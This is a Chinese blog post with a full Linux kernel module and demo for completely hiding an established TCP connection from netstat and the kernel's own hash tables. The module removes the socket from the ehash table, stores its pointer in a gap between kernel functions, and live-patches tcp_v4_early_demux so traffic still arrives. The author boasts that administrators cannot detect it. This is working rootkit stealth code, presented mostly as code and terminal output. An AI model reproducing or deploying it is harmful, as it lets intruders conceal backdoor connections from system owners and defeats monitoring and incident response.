前面的文章中,我稍微描述了一下如何隐藏一个TCP连接:
https://blog.csdn.net/dog250/article/details/105372214
在上文中,我采用了 传统 的做法,即hook住proc的/proc/net/tcp展示接口,但这个方法并没有可观赏性,说白了有点像掩耳盗铃,毕竟连接还是在那里的,你自己去遍历系统的TCP ehash表,还是能看到所有大的TCP连接的。
所以,今天我来用 手艺活儿 的方法,庖丁解牛般演示如何彻底隐藏一个TCP连接。
看看那些各种hook proc展示接口的掩耳盗铃法,多么的复杂!多么的复杂啊!看看我这个,多么的彻底!多么的简单啊!
所谓的彻底隐藏,就是将一个TCP连接从系统的TCP ehash表中摘除!这个很容易,调用 inet_unhash 即可了。
问题是,摘除了之后,我们把它放在哪里,才能让进来的数据包顺利匹配到该连接呢?
答案还是二进制hook。
我们搜索系统内存中含有8个字节(一个地址的大小)空隙的位置,把sock结构体的地址放进去即可。这个空隙一般在内核函数之间。比如我使用的地址:
#define ROOM_ADDR 0xffffffff815622dd
它就是ip_rcv函数和ip4_frag_match之间的无用空隙。当然了,我们也可以动态分配内存,但是并不优雅。
来吧,下面是代码:
// hide_connection.c
#include <linux/module.h>
#include <net/tcp.h>
#include <linux/kernel.h>
#include <linux/kallsyms.h>
#include <linux/cpu.h>
/*
* version 1.0
* 缺点:
* 1. 仅仅可以藏一个sock,后续可以增加一个新的藏污纳垢专有hlist,同样可以见缝插针
* 2. 仅仅支持目标端口匹配,即stub_func_tcp4_demux仅仅根据目标端口过滤
* 但这一切都是为了简单!简单!简单!
*/
char *stub = NULL;
// 用于立即数替换
#define ROOM_MAGIC 0x1122334455667788
#define PORT_MAGIC 0x3412
// hook住tcp_v4_early_demux后执行该函数
void stub_func_tcp4_demux(struct sk_buff *skb)
{
struct iphdr *iph;
struct tcphdr *th;
struct sock *sk;
if (skb->pkt_type != PACKET_HOST)
return;
if (!pskb_may_pull(skb, skb_transport_offset(skb) + sizeof(struct tcphdr)))
return;
iph = ip_hdr(skb);
th = tcp_hdr(skb);
if (th->doff < sizeof(struct tcphdr) / 4)
return;
// PORT_MAGIC将会被目标端口所替换
if (ntohs(th->dest) == PORT_MAGIC) {
// ROOM_MAGIC将会被存放sock结构体的内存地址所替换,一个指针即可。
struct sock **psk = (struct sock **)ROOM_MAGIC;
sk = *psk; // 取出被藏匿的sock结构体地址
atomic_inc_not_zero(&sk->sk_refcnt);
skb->sk = sk;
skb->destructor = sock_edemux;
if (sk->sk_state != TCP_TIME_WAIT) {
struct dst_entry *dst = sk->sk_rx_dst;
if (dst)
dst = dst_check(dst, 0);
if (dst &&
inet_sk(sk)->rx_dst_ifindex == skb->skb_iif)
skb_dst_set_noref(skb, dst);
}
goto out;
}
return;
out:
// 不再执行原始的tcp_v4_early_demux函数,skip掉它的堆栈。
asm ("pop %rbx; pop %r12; pop %rbp; pop %r11; retq;");
}
#define FTRACE_SIZE 5
#define POKE_OFFSET 0
#define POKE_LENGTH 5
void * *(*___vmalloc_node_range)(unsigned long size, unsigned long align,
unsigned long start, unsigned long end, gfp_t gfp_mask,
pgprot_t prot, int node, const void *caller);
static void *(*_text_poke_smp)(void *addr, const void *opcode, size_t len);
static struct mutex *_text_mutex;
char *hide_tcp4_seq_show = NULL;
unsigned char jmp_call[POKE_LENGTH];
#define START _AC(0xffffffffa0000000, UL)
#define END _AC(0xffffffffff000000, UL)
static int hide = 1;
module_param(hide, int, 0444);
static __be16 sport = 1234;
module_param(sport, ushort, 0444);
static __be16 dport = 1234;
module_param(dport, ushort, 0444);
static __be32 saddr = 0;
module_param(saddr, uint, 0444);
static __be32 daddr = 0;
module_param(daddr, uint, 0444);
static int ifindex = 0;
module_param(ifindex, int, 0444);
#define ROOM_ADDR 0xffffffff815622dd
void restore_connection(void)
{
struct sock *sk, **psk;
psk = (struct sock **)ROOM_ADDR;
sk = *psk;
__inet_hash_nolisten(sk, NULL);
}
static int __init hideconn_init(void)
{
s32 offset;
char *_tcp4_early_demux, *stub_demux;
unsigned long hide_psk[1];
unsigned short aport[1];
struct sock **hide_sk, *sk = NULL;
unsigned long psk_addr = 0;
int i;
unsigned long *scan;
unsigned short *sscan;
_tcp4_early_demux = (void *)kallsyms_lookup_name("tcp_v4_early_demux");
if (!_tcp4_early_demux) {
return -1;
}
___vmalloc_node_range = (void *)kallsyms_lookup_name("__vmalloc_node_range");
_text_poke_smp = (void *)kallsyms_lookup_name("text_poke_smp");
_text_mutex = (void *)kallsyms_lookup_name("text_mutex");
if (!___vmalloc_node_range || !_text_poke_smp || !_text_mutex) {
return -1;
}
if (hide == 0) { // 恢复TCP连接,将其重新插入TCP ehash表
restore_connection();
offset = *(unsigned int *)&_tcp4_early_demux[1];
stub = (char *)(offset + (unsigned long)_tcp4_early_demux + FTRACE_SIZE);
get_online_cpus();
mutex_lock(_text_mutex);
_text_poke_smp(&_tcp4_early_demux[POKE_OFFSET], &stub[0], POKE_LENGTH);
mutex_unlock(_text_mutex);
put_online_cpus();
vfree(stub);
return -1;
}
stub_demux = (void *)___vmalloc_node_range(0x1ff, 1, START, END,
GFP_KERNEL | __GFP_HIGHMEM, PAGE_KERNEL_EXEC,
-1, __builtin_return_address(0));
/*
// 仅仅藏匿一个socket
#define SIZE 1
// 如果我们采用动态分配内存的方式,就必须想办法能找到它。
// 呃...从stub_func_tcp4_demux的指令码里搜索是一个不错的选择!
hide_sk = (struct sock **)___vmalloc_node_range(sizeof(char *)*SIZE, 1, START, END,
GFP_KERNEL | __GFP_HIGHMEM, PAGE_KERNEL_EXEC,
-1, __builtin_return_address(0));
*/
// 但为了更加trick,我还是选择藏污纳垢的方式来见缝插针!
hide_sk = (struct sock **)ROOM_ADDR;
if (!stub_demux || !hide_sk) {
return -1;
}
// 根据参数传来的4元组来查找socket!
sk = inet_lookup_established(&init_net, &tcp_hashinfo,
saddr, htons(sport), daddr, htons(dport), ifindex);
if (!sk) {
vfree(stub_demux);
return -1;
}
*hide_sk = sk;
psk_addr = (unsigned long)hide_sk;
hide_psk[0] = psk_addr;
stub = (void *)stub_func_tcp4_demux;
// 扫描stub查找并替换“隐藏sock的内存地址”
scan = (unsigned long *)stub;
for (i = 0; i < 0x1ff; i++) {
scan = (unsigned long *)&stub[i];
if (*scan == ROOM_MAGIC)
break;
}
_text_poke_smp(&stub[i], hide_psk, sizeof(hide_psk));
// 扫描stub查找并替换目标端口
sscan = (unsigned short *)stub;
for (i = 0; i < 0x1ff; i++) {
sscan = (unsigned short *)&stub[i];
if (ntohs(*sscan) == PORT_MAGIC)
break;
}
aport[0] = htons(dport);
_text_poke_smp(&stub[i], aport, sizeof(aport));
memcpy(stub_demux, stub_func_tcp4_demux, 0x1ff);
stub = (void *)stub_demux;
jmp_call[0] = 0xe8;
offset = (s32)((long)stub - (long)_tcp4_early_demux - FTRACE_SIZE);
(*(s32 *)(&jmp_call[1])) = offset;
get_online_cpus();
mutex_lock(_text_mutex);
_text_poke_smp(&_tcp4_early_demux[POKE_OFFSET], jmp_call, POKE_LENGTH);
mutex_unlock(_text_mutex);
put_online_cpus();
// 将TCP连接从ehash摘除
inet_unhash(sk);
sock_put(sk);
// 事了拂衣去,深藏身与名!
return -1;
}
static void __exit hideconn_exit(void)
{
}
module_init(hideconn_init);
module_exit(hideconn_exit);
MODULE_LICENSE("GPL");
好了,让我们演示一把。
首先在机器上启动一个nc,然后另外一台机器上启动另一个nc或者telnet来连接它:
[root@localhost ~]# netstat -antp|grep 2222
tcp 0 0 192.168.56.110:2222 192.168.56.101:50618 ESTABLISHED 4154/nc
然后按照展示的四元组来加载模块:
[root@localhost ~]# insmod ./hide_connection.ko daddr=0x6e38a8c0 dport=2222 saddr=0x6538a8c0 ifindex=3 sport=50618
insmod: ERROR: could not insert module ./hide_connection.ko: Operation not permitted
[root@localhost ~]# netstat -antp|grep 2222
[root@localhost ~]# echo $?
1
看来,连接已经被隐藏掉了。然而连接还在,连接它的那台机器还可以和它通信:
root@zhaoya-VirtualBox:/home/zhaoya# telnet 192.168.56.110 2222
Trying 192.168.56.110...
Connected to 192.168.56.110.
Escape character is '^]'.
11111
3333333
222222222222222
在本机看来:
[root@localhost ~]# nc -l 2222
11111
3333333
222222222222222
双方在不停地相互echo。
好了,玩够了,现在让我们恢复这个TCP连接:
[root@localhost ~]# insmod ./hide_connection.ko daddr=0x6e38a8c0 dport=2222 saddr=0x6538a8c0 ifindex=3 sport=50618 hide=0
insmod: ERROR: could not insert module ./hide_connection.ko: Operation not permitted
[root@localhost ~]# netstat -antp|grep 2222
tcp 0 0 192.168.56.110:2222 192.168.56.101:50618 ESTABLISHED 4154/nc
[root@localhost ~]# echo $?
0
我起初想的是,靠动态内存分配,在系统中营造一个TCP连接的小王国,或者说进程的小王国,把隐藏掉的TCP连接或者进程均放在这些小王国里,只有我自己知道它们在哪里:
- 它们在内核函数的间隙。
- 它们在任意位置。
- 它们的地址被分为4个部分,每个部分2字节,这样只需4个不连续的2字节间隙即可。
- 它们甚至可以一个字节一个字节拼起来形成一个地址。
- …
以这种方式隐藏掉的TCP连接,是比较彻底的隐藏方式,经理基本是无法查出来的。
如果你说CFI,好吧,一般的经理不懂CFI的,不过无论怎样,经理的皮鞋都是真皮的。
浙江温州皮鞋湿,下雨进水不会胖